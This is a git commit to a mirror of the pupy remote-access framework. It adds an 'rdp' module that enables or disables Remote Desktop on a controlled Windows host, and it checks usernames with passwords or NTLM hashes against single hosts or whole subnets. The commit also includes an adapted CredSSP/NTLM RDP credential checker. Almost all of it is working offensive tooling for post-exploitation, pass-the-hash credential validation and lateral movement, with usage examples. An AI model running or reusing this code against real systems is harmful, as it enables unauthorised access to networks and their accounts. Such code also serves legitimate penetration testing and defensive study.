mirror of https://github.com/n1nj4sec/pupy.git
Merge branch 'rdp' of https://github.com/AlessandroZ/pupy into AlessandroZ-rdp
This commit is contained in:
commit
a3e669fd60
|
@ -0,0 +1,72 @@
|
||||||
|
# -*- coding: UTF8 -*-
|
||||||
|
from pupylib.PupyModule import *
|
||||||
|
from pupylib.utils.rpyc_utils import redirected_stdio
|
||||||
|
from netaddr import *
|
||||||
|
|
||||||
|
__class_name__="Rdp"
|
||||||
|
|
||||||
|
@config(cat="admin")
|
||||||
|
class Rdp(PupyModule):
|
||||||
|
""" Enable / Disable rdp connection or check for valid credentials on a remote host """
|
||||||
|
|
||||||
|
def init_argparse(self):
|
||||||
|
|
||||||
|
example = 'Examples:\n'
|
||||||
|
example += '>> run rdp local --enable\n'
|
||||||
|
example += '>> run rdp local --disable\n'
|
||||||
|
example += '>> run rdp remote -u john -p P4ssw0rd -t 192.168.0.1\n'
|
||||||
|
example += '>> run rdp remote -u john -p P4ssw0rd -t 192.168.0.1/24\n'
|
||||||
|
|
||||||
|
self.arg_parser = PupyArgumentParser(prog="Rdp", description=self.__doc__, epilog=example)
|
||||||
|
subparsers = self.arg_parser.add_subparsers(title='Choose a specific action')
|
||||||
|
|
||||||
|
local = subparsers.add_parser('local', help='Enable / Disable rdp connection (only for windows hosts)')
|
||||||
|
local.set_defaults(local=True, remote=False)
|
||||||
|
local.add_argument('--enable', '-e', action='store_true', help='enable rdp')
|
||||||
|
local.add_argument('--disable', '-d', action='store_true', help='disable rdp')
|
||||||
|
|
||||||
|
remote = subparsers.add_parser('remote', help='Check for valid credentials on a remote host')
|
||||||
|
remote.set_defaults(remote=True, local=False)
|
||||||
|
remote.add_argument('--target', '-t', dest='target', required=True, help='remote host or range for checking RDP connection')
|
||||||
|
remote.add_argument('-d', dest='domain', default='workgroup', help='domain used for checking RDP connection')
|
||||||
|
remote.add_argument('-u', dest='username', required=True, help='username used for checking RDP connection')
|
||||||
|
remote.add_argument('-p', dest='password', default= '', help='password used for checking RDP connection')
|
||||||
|
remote.add_argument('-H', dest='hashes', help='NTLM hashes used for checking RDP connection')
|
||||||
|
|
||||||
|
def run(self, args):
|
||||||
|
|
||||||
|
# TO DO: enable multi RDP session
|
||||||
|
|
||||||
|
if args.local:
|
||||||
|
if args.enable or args.disable:
|
||||||
|
if not self.client.is_windows():
|
||||||
|
self.error("This option could be used only on windows hosts")
|
||||||
|
return
|
||||||
|
|
||||||
|
self.client.load_package("pupwinutils.rdp")
|
||||||
|
|
||||||
|
# check if admin
|
||||||
|
if not self.client.conn.modules["pupwinutils.rdp"].check_if_admin():
|
||||||
|
self.error("Admin privileges are required")
|
||||||
|
|
||||||
|
with redirected_stdio(self.client.conn):
|
||||||
|
if args.enable:
|
||||||
|
self.client.conn.modules["pupwinutils.rdp"].enable_rdp()
|
||||||
|
|
||||||
|
if args.disable:
|
||||||
|
self.client.conn.modules["pupwinutils.rdp"].disable_rdp()
|
||||||
|
|
||||||
|
elif args.remote:
|
||||||
|
if "/" in args.target[0]:
|
||||||
|
hosts = IPNetwork(args.target[0])
|
||||||
|
else:
|
||||||
|
hosts = list()
|
||||||
|
hosts.append(args.target)
|
||||||
|
|
||||||
|
self.client.load_package("pupyutils.rdp_check")
|
||||||
|
self.client.load_package("impacket")
|
||||||
|
self.client.load_package("calendar")
|
||||||
|
self.client.load_package("OpenSSL")
|
||||||
|
for host in hosts:
|
||||||
|
with redirected_stdio(self.client.conn):
|
||||||
|
self.client.conn.modules["pupyutils.rdp_check"].check_rdp(host, args.username, args.password, args.domain, args.hashes)
|
|
@ -0,0 +1,566 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||||
|
#
|
||||||
|
# This software is provided under under a slightly modified version
|
||||||
|
# of the Apache Software License. See the accompanying LICENSE file
|
||||||
|
# for more information.
|
||||||
|
#
|
||||||
|
# Author:
|
||||||
|
# Alberto Solino (@agsolino)
|
||||||
|
#
|
||||||
|
# Description: [MS-RDPBCGR] and [MS-CREDSSP] partial implementation
|
||||||
|
# just to reach CredSSP auth. This example test whether
|
||||||
|
# an account is valid on the target host.
|
||||||
|
#
|
||||||
|
# ToDo:
|
||||||
|
# [x] Manage to grab the server's SSL key so we can finalize the whole
|
||||||
|
# authentication process (check [MS-CSSP] section 3.1.5)
|
||||||
|
#
|
||||||
|
|
||||||
|
from struct import pack, unpack
|
||||||
|
|
||||||
|
# from impacket.examples import logger
|
||||||
|
from impacket.structure import Structure
|
||||||
|
from impacket.spnego import GSSAPI, ASN1_SEQUENCE, ASN1_OCTET_STRING, asn1decode, asn1encode
|
||||||
|
import socket
|
||||||
|
import argparse
|
||||||
|
import sys
|
||||||
|
# import logging
|
||||||
|
from binascii import a2b_hex
|
||||||
|
from Crypto.Cipher import ARC4
|
||||||
|
from impacket import ntlm, version
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
TDPU_CONNECTION_REQUEST = 0xe0
|
||||||
|
TPDU_CONNECTION_CONFIRM = 0xd0
|
||||||
|
TDPU_DATA = 0xf0
|
||||||
|
TPDU_REJECT = 0x50
|
||||||
|
TPDU_DATA_ACK = 0x60
|
||||||
|
|
||||||
|
# RDP_NEG_REQ constants
|
||||||
|
TYPE_RDP_NEG_REQ = 1
|
||||||
|
PROTOCOL_RDP = 0
|
||||||
|
PROTOCOL_SSL = 1
|
||||||
|
PROTOCOL_HYBRID = 2
|
||||||
|
|
||||||
|
# RDP_NEG_RSP constants
|
||||||
|
TYPE_RDP_NEG_RSP = 2
|
||||||
|
EXTENDED_CLIENT_DATA_SUPPORTED = 1
|
||||||
|
DYNVC_GFX_PROTOCOL_SUPPORTED = 2
|
||||||
|
|
||||||
|
# RDP_NEG_FAILURE constants
|
||||||
|
TYPE_RDP_NEG_FAILURE = 3
|
||||||
|
SSL_REQUIRED_BY_SERVER = 1
|
||||||
|
SSL_NOT_ALLOWED_BY_SERVER = 2
|
||||||
|
SSL_CERT_NOT_ON_SERVER = 3
|
||||||
|
INCONSISTENT_FLAGS = 4
|
||||||
|
HYBRID_REQUIRED_BY_SERVER = 5
|
||||||
|
SSL_WITH_USER_AUTH_REQUIRED_BY_SERVER = 6
|
||||||
|
|
||||||
|
class TPKT(Structure):
|
||||||
|
commonHdr = (
|
||||||
|
('Version','B=3'),
|
||||||
|
('Reserved','B=0'),
|
||||||
|
('Length','>H=len(TPDU)+4'),
|
||||||
|
('_TPDU','_-TPDU','self["Length"]-4'),
|
||||||
|
('TPDU',':=""'),
|
||||||
|
)
|
||||||
|
|
||||||
|
class TPDU(Structure):
|
||||||
|
commonHdr = (
|
||||||
|
('LengthIndicator','B=len(VariablePart)+1'),
|
||||||
|
('Code','B=0'),
|
||||||
|
('VariablePart',':=""'),
|
||||||
|
)
|
||||||
|
|
||||||
|
def __init__(self, data = None):
|
||||||
|
Structure.__init__(self,data)
|
||||||
|
self['VariablePart']=''
|
||||||
|
|
||||||
|
class CR_TPDU(Structure):
|
||||||
|
commonHdr = (
|
||||||
|
('DST-REF','<H=0'),
|
||||||
|
('SRC-REF','<H=0'),
|
||||||
|
('CLASS-OPTION','B=0'),
|
||||||
|
('Type','B=0'),
|
||||||
|
('Flags','B=0'),
|
||||||
|
('Length','<H=8'),
|
||||||
|
)
|
||||||
|
|
||||||
|
class DATA_TPDU(Structure):
|
||||||
|
commonHdr = (
|
||||||
|
('EOT','B=0x80'),
|
||||||
|
('UserData',':=""'),
|
||||||
|
)
|
||||||
|
|
||||||
|
def __init__(self, data = None):
|
||||||
|
Structure.__init__(self,data)
|
||||||
|
self['UserData'] =''
|
||||||
|
|
||||||
|
|
||||||
|
class RDP_NEG_REQ(CR_TPDU):
|
||||||
|
structure = (
|
||||||
|
('requestedProtocols','<L'),
|
||||||
|
)
|
||||||
|
def __init__(self,data=None):
|
||||||
|
CR_TPDU.__init__(self,data)
|
||||||
|
if data is None:
|
||||||
|
self['Type'] = TYPE_RDP_NEG_REQ
|
||||||
|
|
||||||
|
class RDP_NEG_RSP(CR_TPDU):
|
||||||
|
structure = (
|
||||||
|
('selectedProtocols','<L'),
|
||||||
|
)
|
||||||
|
|
||||||
|
class RDP_NEG_FAILURE(CR_TPDU):
|
||||||
|
structure = (
|
||||||
|
('failureCode','<L'),
|
||||||
|
)
|
||||||
|
|
||||||
|
class TSPasswordCreds(GSSAPI):
|
||||||
|
# TSPasswordCreds ::= SEQUENCE {
|
||||||
|
# domainName [0] OCTET STRING,
|
||||||
|
# userName [1] OCTET STRING,
|
||||||
|
# password [2] OCTET STRING
|
||||||
|
# }
|
||||||
|
def __init__(self, data=None):
|
||||||
|
GSSAPI.__init__(self,data)
|
||||||
|
del self['UUID']
|
||||||
|
|
||||||
|
def getData(self):
|
||||||
|
ans = pack('B', ASN1_SEQUENCE)
|
||||||
|
ans += asn1encode( pack('B', 0xa0) +
|
||||||
|
asn1encode( pack('B', ASN1_OCTET_STRING) +
|
||||||
|
asn1encode( self['domainName'].encode('utf-16le'))) +
|
||||||
|
pack('B', 0xa1) +
|
||||||
|
asn1encode( pack('B', ASN1_OCTET_STRING) +
|
||||||
|
asn1encode( self['userName'].encode('utf-16le'))) +
|
||||||
|
pack('B', 0xa2) +
|
||||||
|
asn1encode( pack('B', ASN1_OCTET_STRING) +
|
||||||
|
asn1encode( self['password'].encode('utf-16le'))) )
|
||||||
|
return ans
|
||||||
|
|
||||||
|
class TSCredentials(GSSAPI):
|
||||||
|
# TSCredentials ::= SEQUENCE {
|
||||||
|
# credType [0] INTEGER,
|
||||||
|
# credentials [1] OCTET STRING
|
||||||
|
# }
|
||||||
|
def __init__(self, data=None):
|
||||||
|
GSSAPI.__init__(self,data)
|
||||||
|
del self['UUID']
|
||||||
|
|
||||||
|
def getData(self):
|
||||||
|
# Let's pack the credentials field
|
||||||
|
credentials = pack('B',0xa1)
|
||||||
|
credentials += asn1encode(pack('B',ASN1_OCTET_STRING) +
|
||||||
|
asn1encode(self['credentials']))
|
||||||
|
|
||||||
|
ans = pack('B',ASN1_SEQUENCE)
|
||||||
|
ans += asn1encode( pack('B', 0xa0) +
|
||||||
|
asn1encode( pack('B', 0x02) +
|
||||||
|
asn1encode( pack('B', self['credType']))) +
|
||||||
|
credentials)
|
||||||
|
return ans
|
||||||
|
|
||||||
|
class TSRequest(GSSAPI):
|
||||||
|
# TSRequest ::= SEQUENCE {
|
||||||
|
# version [0] INTEGER,
|
||||||
|
# negoTokens [1] NegoData OPTIONAL,
|
||||||
|
# authInfo [2] OCTET STRING OPTIONAL,
|
||||||
|
# pubKeyAuth [3] OCTET STRING OPTIONAL,
|
||||||
|
#}
|
||||||
|
#
|
||||||
|
# NegoData ::= SEQUENCE OF SEQUENCE {
|
||||||
|
# negoToken [0] OCTET STRING
|
||||||
|
#}
|
||||||
|
#
|
||||||
|
|
||||||
|
def __init__(self, data=None):
|
||||||
|
GSSAPI.__init__(self,data)
|
||||||
|
del self['UUID']
|
||||||
|
|
||||||
|
def fromString(self, data = None):
|
||||||
|
next_byte = unpack('B',data[:1])[0]
|
||||||
|
if next_byte != ASN1_SEQUENCE:
|
||||||
|
raise Exception('SEQUENCE expected! (%x)' % next_byte)
|
||||||
|
data = data[1:]
|
||||||
|
decode_data, total_bytes = asn1decode(data)
|
||||||
|
|
||||||
|
next_byte = unpack('B',decode_data[:1])[0]
|
||||||
|
if next_byte != 0xa0:
|
||||||
|
raise Exception('0xa0 tag not found %x' % next_byte)
|
||||||
|
decode_data = decode_data[1:]
|
||||||
|
next_bytes, total_bytes = asn1decode(decode_data)
|
||||||
|
# The INTEGER tag must be here
|
||||||
|
if unpack('B',next_bytes[0])[0] != 0x02:
|
||||||
|
raise Exception('INTEGER tag not found %r' % next_byte)
|
||||||
|
next_byte, _ = asn1decode(next_bytes[1:])
|
||||||
|
self['Version'] = unpack('B',next_byte)[0]
|
||||||
|
decode_data = decode_data[total_bytes:]
|
||||||
|
next_byte = unpack('B',decode_data[:1])[0]
|
||||||
|
if next_byte == 0xa1:
|
||||||
|
# We found the negoData token
|
||||||
|
decode_data, total_bytes = asn1decode(decode_data[1:])
|
||||||
|
|
||||||
|
next_byte = unpack('B',decode_data[:1])[0]
|
||||||
|
if next_byte != ASN1_SEQUENCE:
|
||||||
|
raise Exception('ASN1_SEQUENCE tag not found %r' % next_byte)
|
||||||
|
decode_data, total_bytes = asn1decode(decode_data[1:])
|
||||||
|
|
||||||
|
next_byte = unpack('B',decode_data[:1])[0]
|
||||||
|
if next_byte != ASN1_SEQUENCE:
|
||||||
|
raise Exception('ASN1_SEQUENCE tag not found %r' % next_byte)
|
||||||
|
decode_data, total_bytes = asn1decode(decode_data[1:])
|
||||||
|
|
||||||
|
next_byte = unpack('B',decode_data[:1])[0]
|
||||||
|
if next_byte != 0xa0:
|
||||||
|
raise Exception('0xa0 tag not found %r' % next_byte)
|
||||||
|
decode_data, total_bytes = asn1decode(decode_data[1:])
|
||||||
|
|
||||||
|
next_byte = unpack('B',decode_data[:1])[0]
|
||||||
|
if next_byte != ASN1_OCTET_STRING:
|
||||||
|
raise Exception('ASN1_OCTET_STRING tag not found %r' % next_byte)
|
||||||
|
decode_data2, total_bytes = asn1decode(decode_data[1:])
|
||||||
|
# the rest should be the data
|
||||||
|
self['NegoData'] = decode_data2
|
||||||
|
decode_data = decode_data[total_bytes+1:]
|
||||||
|
|
||||||
|
if next_byte == 0xa2:
|
||||||
|
# ToDo: Check all this
|
||||||
|
# We found the authInfo token
|
||||||
|
decode_data, total_bytes = asn1decode(decode_data[1:])
|
||||||
|
next_byte = unpack('B',decode_data[:1])[0]
|
||||||
|
if next_byte != ASN1_OCTET_STRING:
|
||||||
|
raise Exception('ASN1_OCTET_STRING tag not found %r' % next_byte)
|
||||||
|
decode_data2, total_bytes = asn1decode(decode_data[1:])
|
||||||
|
self['authInfo'] = decode_data2
|
||||||
|
decode_data = decode_data[total_bytes+1:]
|
||||||
|
|
||||||
|
if next_byte == 0xa3:
|
||||||
|
# ToDo: Check all this
|
||||||
|
# We found the pubKeyAuth token
|
||||||
|
decode_data, total_bytes = asn1decode(decode_data[1:])
|
||||||
|
next_byte = unpack('B',decode_data[:1])[0]
|
||||||
|
if next_byte != ASN1_OCTET_STRING:
|
||||||
|
raise Exception('ASN1_OCTET_STRING tag not found %r' % next_byte)
|
||||||
|
decode_data2, total_bytes = asn1decode(decode_data[1:])
|
||||||
|
self['pubKeyAuth'] = decode_data2
|
||||||
|
|
||||||
|
def getData(self):
|
||||||
|
# Do we have pubKeyAuth?
|
||||||
|
if self.fields.has_key('pubKeyAuth'):
|
||||||
|
pubKeyAuth = pack('B',0xa3)
|
||||||
|
pubKeyAuth += asn1encode(pack('B', ASN1_OCTET_STRING) +
|
||||||
|
asn1encode(self['pubKeyAuth']))
|
||||||
|
else:
|
||||||
|
pubKeyAuth = ''
|
||||||
|
|
||||||
|
if self.fields.has_key('authInfo'):
|
||||||
|
authInfo = pack('B',0xa2)
|
||||||
|
authInfo+= asn1encode(pack('B', ASN1_OCTET_STRING) +
|
||||||
|
asn1encode(self['authInfo']))
|
||||||
|
else:
|
||||||
|
authInfo = ''
|
||||||
|
|
||||||
|
if self.fields.has_key('NegoData'):
|
||||||
|
negoData = pack('B',0xa1)
|
||||||
|
negoData += asn1encode(pack('B', ASN1_SEQUENCE) +
|
||||||
|
asn1encode(pack('B', ASN1_SEQUENCE) +
|
||||||
|
asn1encode(pack('B', 0xa0) +
|
||||||
|
asn1encode(pack('B', ASN1_OCTET_STRING) +
|
||||||
|
asn1encode(self['NegoData'])))))
|
||||||
|
else:
|
||||||
|
negoData = ''
|
||||||
|
ans = pack('B', ASN1_SEQUENCE)
|
||||||
|
ans += asn1encode(pack('B',0xa0) +
|
||||||
|
asn1encode(pack('B',0x02) + asn1encode(pack('B',0x02))) +
|
||||||
|
negoData + authInfo + pubKeyAuth)
|
||||||
|
|
||||||
|
return ans
|
||||||
|
|
||||||
|
# if __name__ == '__main__':
|
||||||
|
|
||||||
|
# import socket
|
||||||
|
# import argparse
|
||||||
|
# import sys
|
||||||
|
# import logging
|
||||||
|
# from binascii import a2b_hex
|
||||||
|
# from Crypto.Cipher import ARC4
|
||||||
|
# from impacket import ntlm, version
|
||||||
|
# try:
|
||||||
|
# import OpenSSL
|
||||||
|
# from OpenSSL import SSL, crypto
|
||||||
|
# except:
|
||||||
|
# logging.critical("pyOpenSSL is not installed, can't continue")
|
||||||
|
# sys.exit(1)
|
||||||
|
|
||||||
|
|
||||||
|
class SPNEGOCipher:
|
||||||
|
def __init__(self, flags, randomSessionKey):
|
||||||
|
self.__flags = flags
|
||||||
|
if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
|
||||||
|
self.__clientSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey)
|
||||||
|
self.__serverSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey,"Server")
|
||||||
|
self.__clientSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey)
|
||||||
|
self.__serverSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey,"Server")
|
||||||
|
# Preparing the keys handle states
|
||||||
|
cipher3 = ARC4.new(self.__clientSealingKey)
|
||||||
|
self.__clientSealingHandle = cipher3.encrypt
|
||||||
|
cipher4 = ARC4.new(self.__serverSealingKey)
|
||||||
|
self.__serverSealingHandle = cipher4.encrypt
|
||||||
|
else:
|
||||||
|
# Same key for everything
|
||||||
|
self.__clientSigningKey = randomSessionKey
|
||||||
|
self.__serverSigningKey = randomSessionKey
|
||||||
|
self.__clientSealingKey = randomSessionKey
|
||||||
|
self.__clientSealingKey = randomSessionKey
|
||||||
|
cipher = ARC4.new(self.__clientSigningKey)
|
||||||
|
self.__clientSealingHandle = cipher.encrypt
|
||||||
|
self.__serverSealingHandle = cipher.encrypt
|
||||||
|
self.__sequence = 0
|
||||||
|
|
||||||
|
def encrypt(self, plain_data):
|
||||||
|
if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
|
||||||
|
# When NTLM2 is on, we sign the whole pdu, but encrypt just
|
||||||
|
# the data, not the dcerpc header. Weird..
|
||||||
|
sealedMessage, signature = ntlm.SEAL(self.__flags,
|
||||||
|
self.__clientSigningKey,
|
||||||
|
self.__clientSealingKey,
|
||||||
|
plain_data,
|
||||||
|
plain_data,
|
||||||
|
self.__sequence,
|
||||||
|
self.__clientSealingHandle)
|
||||||
|
else:
|
||||||
|
sealedMessage, signature = ntlm.SEAL(self.__flags,
|
||||||
|
self.__clientSigningKey,
|
||||||
|
self.__clientSealingKey,
|
||||||
|
plain_data,
|
||||||
|
plain_data,
|
||||||
|
self.__sequence,
|
||||||
|
self.__clientSealingHandle)
|
||||||
|
|
||||||
|
self.__sequence += 1
|
||||||
|
|
||||||
|
return signature, sealedMessage
|
||||||
|
|
||||||
|
def decrypt(self, answer):
|
||||||
|
if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
|
||||||
|
# TODO: FIX THIS, it's not calculating the signature well
|
||||||
|
# Since I'm not testing it we don't care... yet
|
||||||
|
answer, signature = ntlm.SEAL(self.__flags,
|
||||||
|
self.__serverSigningKey,
|
||||||
|
self.__serverSealingKey,
|
||||||
|
answer,
|
||||||
|
answer,
|
||||||
|
self.__sequence,
|
||||||
|
self.__serverSealingHandle)
|
||||||
|
else:
|
||||||
|
answer, signature = ntlm.SEAL(self.__flags,
|
||||||
|
self.__serverSigningKey,
|
||||||
|
self.__serverSealingKey,
|
||||||
|
answer,
|
||||||
|
answer,
|
||||||
|
self.__sequence,
|
||||||
|
self.__serverSealingHandle)
|
||||||
|
self.__sequence += 1
|
||||||
|
|
||||||
|
return signature, answer
|
||||||
|
|
||||||
|
def check_rdp(host, username, password, domain, hashes = None):
|
||||||
|
try:
|
||||||
|
import OpenSSL
|
||||||
|
from OpenSSL import SSL, crypto
|
||||||
|
except:
|
||||||
|
print "pyOpenSSL is not installed, can't continue"
|
||||||
|
return
|
||||||
|
|
||||||
|
if hashes is not None:
|
||||||
|
lmhash, nthash = hashes.split(':')
|
||||||
|
lmhash = a2b_hex(lmhash)
|
||||||
|
nthash = a2b_hex(nthash)
|
||||||
|
|
||||||
|
else:
|
||||||
|
lmhash = ''
|
||||||
|
nthash = ''
|
||||||
|
|
||||||
|
tpkt = TPKT()
|
||||||
|
tpdu = TPDU()
|
||||||
|
rdp_neg = RDP_NEG_REQ()
|
||||||
|
rdp_neg['Type'] = TYPE_RDP_NEG_REQ
|
||||||
|
rdp_neg['requestedProtocols'] = PROTOCOL_HYBRID | PROTOCOL_SSL
|
||||||
|
tpdu['VariablePart'] = str(rdp_neg)
|
||||||
|
tpdu['Code'] = TDPU_CONNECTION_REQUEST
|
||||||
|
tpkt['TPDU'] = str(tpdu)
|
||||||
|
|
||||||
|
s = socket.socket()
|
||||||
|
try:
|
||||||
|
# s.settimeout(5) # not work adding this
|
||||||
|
s.connect((host,3389))
|
||||||
|
except Exception as e:
|
||||||
|
if e.errno == 113:
|
||||||
|
print '[-] No route to host : %s' % host
|
||||||
|
else:
|
||||||
|
print '[-] %s - RDP should not be enabled' % str(e)
|
||||||
|
return
|
||||||
|
|
||||||
|
s.sendall(str(tpkt))
|
||||||
|
pkt = s.recv(8192)
|
||||||
|
tpkt.fromString(pkt)
|
||||||
|
tpdu.fromString(tpkt['TPDU'])
|
||||||
|
cr_tpdu = CR_TPDU(tpdu['VariablePart'])
|
||||||
|
if cr_tpdu['Type'] == TYPE_RDP_NEG_FAILURE:
|
||||||
|
rdp_failure = RDP_NEG_FAILURE(tpdu['VariablePart'])
|
||||||
|
rdp_failure.dump()
|
||||||
|
print "Server doesn't support PROTOCOL_HYBRID, hence we can't use CredSSP to check credentials"
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
rdp_neg.fromString(tpdu['VariablePart'])
|
||||||
|
|
||||||
|
# Since we were accepted to talk PROTOCOL_HYBRID, below is its implementation
|
||||||
|
|
||||||
|
# 1. The CredSSP client and CredSSP server first complete the TLS handshake,
|
||||||
|
# as specified in [RFC2246]. After the handshake is complete, all subsequent
|
||||||
|
# CredSSP Protocol messages are encrypted by the TLS channel.
|
||||||
|
# The CredSSP Protocol does not extend the TLS wire protocol. As part of the TLS
|
||||||
|
# handshake, the CredSSP server does not request the client's X.509 certificate
|
||||||
|
# (thus far, the client is anonymous). Also, the CredSSP Protocol does not require
|
||||||
|
# the client to have a commonly trusted certification authority root with the
|
||||||
|
# CredSSP server. Thus, the CredSSP server MAY use, for example,
|
||||||
|
# a self-signed X.509 certificate.
|
||||||
|
|
||||||
|
# Switching to TLS now
|
||||||
|
ctx = SSL.Context(SSL.TLSv1_METHOD)
|
||||||
|
ctx.set_cipher_list('RC4')
|
||||||
|
tls = SSL.Connection(ctx,s)
|
||||||
|
tls.set_connect_state()
|
||||||
|
tls.do_handshake()
|
||||||
|
|
||||||
|
# If you want to use Python internal ssl, uncomment this and comment
|
||||||
|
# the previous lines
|
||||||
|
#tls = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_TLSv1, ciphers='RC4')
|
||||||
|
|
||||||
|
# 2. Over the encrypted TLS channel, the SPNEGO handshake between the client
|
||||||
|
# and server completes mutual authentication and establishes an encryption key
|
||||||
|
# that is used by the SPNEGO confidentiality services, as specified in [RFC4178].
|
||||||
|
# All SPNEGO tokens as well as the underlying encryption algorithms are opaque to
|
||||||
|
# the calling application (the CredSSP client and CredSSP server).
|
||||||
|
# The wire protocol for SPNEGO is specified in [MS-SPNG].
|
||||||
|
# The SPNEGO tokens exchanged between the client and the server are encapsulated
|
||||||
|
# in the negoTokens field of the TSRequest structure. Both the client and the
|
||||||
|
# server use this structure as many times as necessary to complete the SPNEGO
|
||||||
|
# exchange.<9>
|
||||||
|
#
|
||||||
|
# Note During this phase of the protocol, the OPTIONAL authInfo field is omitted
|
||||||
|
# from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth
|
||||||
|
# field is omitted by the client unless the client is sending the last SPNEGO token.
|
||||||
|
# If the client is sending the last SPNEGO token, the TSRequest structure MUST have
|
||||||
|
# both the negoToken and the pubKeyAuth fields filled in.
|
||||||
|
|
||||||
|
# NTLMSSP stuff
|
||||||
|
auth = ntlm.getNTLMSSPType1('','',True, use_ntlmv2 = True)
|
||||||
|
|
||||||
|
ts_request = TSRequest()
|
||||||
|
ts_request['NegoData'] = str(auth)
|
||||||
|
|
||||||
|
tls.send(ts_request.getData())
|
||||||
|
buff = tls.recv(4096)
|
||||||
|
ts_request.fromString(buff)
|
||||||
|
|
||||||
|
# 3. The client encrypts the public key it received from the server (contained
|
||||||
|
# in the X.509 certificate) in the TLS handshake from step 1, by using the
|
||||||
|
# confidentiality support of SPNEGO. The public key that is encrypted is the
|
||||||
|
# ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509
|
||||||
|
# certificate, as specified in [RFC3280] section 4.1. The encrypted key is
|
||||||
|
# encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over
|
||||||
|
# the TLS channel to the server.
|
||||||
|
#
|
||||||
|
# Note During this phase of the protocol, the OPTIONAL authInfo field is omitted
|
||||||
|
# from the TSRequest structure; the client MUST send its last SPNEGO token to the
|
||||||
|
# server in the negoTokens field (see step 2) along with the encrypted public key
|
||||||
|
# in the pubKeyAuth field.
|
||||||
|
|
||||||
|
# Last SPNEGO token calculation
|
||||||
|
#ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData'])
|
||||||
|
type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, ts_request['NegoData'], username, password, domain, lmhash, nthash, use_ntlmv2 = True)
|
||||||
|
|
||||||
|
# Get server public key
|
||||||
|
server_cert = tls.get_peer_certificate()
|
||||||
|
pkey = server_cert.get_pubkey()
|
||||||
|
dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey)
|
||||||
|
|
||||||
|
# Fix up due to PyOpenSSL lack for exporting public keys
|
||||||
|
dump = dump[7:]
|
||||||
|
dump = '\x30'+ asn1encode(dump)
|
||||||
|
|
||||||
|
cipher = SPNEGOCipher(type3['flags'], exportedSessionKey)
|
||||||
|
signature, cripted_key = cipher.encrypt(dump)
|
||||||
|
ts_request['NegoData'] = str(type3)
|
||||||
|
ts_request['pubKeyAuth'] = str(signature) + cripted_key
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Sending the Type 3 NTLM blob
|
||||||
|
tls.send(ts_request.getData())
|
||||||
|
# The other end is waiting for the pubKeyAuth field, but looks like it's
|
||||||
|
# not needed to check whether authentication worked.
|
||||||
|
# If auth is unsuccessful, it throws an exception with the previous send().
|
||||||
|
# If auth is successful, the server waits for the pubKeyAuth and doesn't answer
|
||||||
|
# anything. So, I'm sending garbage so the server returns an error.
|
||||||
|
# Luckily, it's a different error so we can determine whether or not auth worked ;)
|
||||||
|
buff = tls.recv(1024)
|
||||||
|
except Exception, err:
|
||||||
|
if str(err).find("denied") > 0:
|
||||||
|
print "[-] Access Denied"
|
||||||
|
else:
|
||||||
|
print err
|
||||||
|
return
|
||||||
|
|
||||||
|
# 4. After the server receives the public key in step 3, it first verifies that
|
||||||
|
# it has the same public key that it used as part of the TLS handshake in step 1.
|
||||||
|
# The server then adds 1 to the first byte representing the public key (the ASN.1
|
||||||
|
# structure corresponding to the SubjectPublicKey field, as described in step 3)
|
||||||
|
# and encrypts the binary result by using the SPNEGO encryption services.
|
||||||
|
# Due to the addition of 1 to the binary data, and encryption of the data as a binary
|
||||||
|
# structure, the resulting value may not be valid ASN.1-encoded values.
|
||||||
|
# The encrypted binary data is encapsulated in the pubKeyAuth field of the TSRequest
|
||||||
|
# structure and is sent over the encrypted TLS channel to the client.
|
||||||
|
# The addition of 1 to the first byte of the public key is performed so that the
|
||||||
|
# client-generated pubKeyAuth message cannot be replayed back to the client by an
|
||||||
|
# attacker.
|
||||||
|
#
|
||||||
|
# Note During this phase of the protocol, the OPTIONAL authInfo and negoTokens
|
||||||
|
# fields are omitted from the TSRequest structure.
|
||||||
|
|
||||||
|
ts_request = TSRequest(buff)
|
||||||
|
|
||||||
|
# Now we're decrypting the certificate + 1 sent by the server. Not worth checking ;)
|
||||||
|
signature, plain_text = cipher.decrypt(ts_request['pubKeyAuth'][16:])
|
||||||
|
|
||||||
|
# 5. After the client successfully verifies server authenticity by performing a
|
||||||
|
# binary comparison of the data from step 4 to that of the data representing
|
||||||
|
# the public key from the server's X.509 certificate (as specified in [RFC3280],
|
||||||
|
# section 4.1), it encrypts the user's credentials (either password or smart card
|
||||||
|
# PIN) by using the SPNEGO encryption services. The resulting value is
|
||||||
|
# encapsulated in the authInfo field of the TSRequest structure and sent over
|
||||||
|
# the encrypted TLS channel to the server.
|
||||||
|
# The TSCredentials structure within the authInfo field of the TSRequest
|
||||||
|
# structure MAY contain either a TSPasswordCreds or a TSSmartCardCreds structure,
|
||||||
|
# but MUST NOT contain both.
|
||||||
|
#
|
||||||
|
# Note During this phase of the protocol, the OPTIONAL pubKeyAuth and negoTokens
|
||||||
|
# fields are omitted from the TSRequest structure.
|
||||||
|
tsp = TSPasswordCreds()
|
||||||
|
tsp['domainName'] = domain
|
||||||
|
tsp['userName'] = username
|
||||||
|
tsp['password'] = password
|
||||||
|
tsc = TSCredentials()
|
||||||
|
tsc['credType'] = 1 # TSPasswordCreds
|
||||||
|
tsc['credentials'] = tsp.getData()
|
||||||
|
|
||||||
|
signature, cripted_creds = cipher.encrypt(tsc.getData())
|
||||||
|
ts_request = TSRequest()
|
||||||
|
ts_request['authInfo'] = str(signature) + cripted_creds
|
||||||
|
tls.send(ts_request.getData())
|
||||||
|
tls.close()
|
||||||
